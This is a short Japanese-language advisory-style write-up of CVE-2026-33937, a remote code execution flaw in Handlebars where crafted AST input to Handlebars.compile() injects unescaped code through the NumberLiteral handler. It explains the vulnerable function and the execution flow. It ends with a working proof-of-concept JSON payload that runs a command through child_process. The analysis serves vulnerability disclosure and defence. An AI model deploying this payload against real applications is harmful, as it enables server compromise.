CVE-2026-33937 は、Handlebars における Abstract Syntax Tree(AST)入力の安全でない処理に起因する、重大なリモートコード実行(RCE)脆弱性です。
この脆弱性により、攻撃者は Handlebars.compile() に細工された AST オブジェクトを渡すことで、任意の JavaScript コードを注入できます。
Handlebars.compile() は以下の両方を受け入れます:
AST オブジェクトが提供された場合、解析フェーズはスキップされます。
内部:
lib/handlebars/compiler/javascript-compiler.js
以下の関数:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
は、number.value を生成された JavaScript コードに直接挿入しますが、サニタイズやエスケープ処理が行われないため、コードインジェクションにつながります。
攻撃者 → 細工された AST(JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler(NumberLiteral インジェクション)
│
▼
コード生成
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}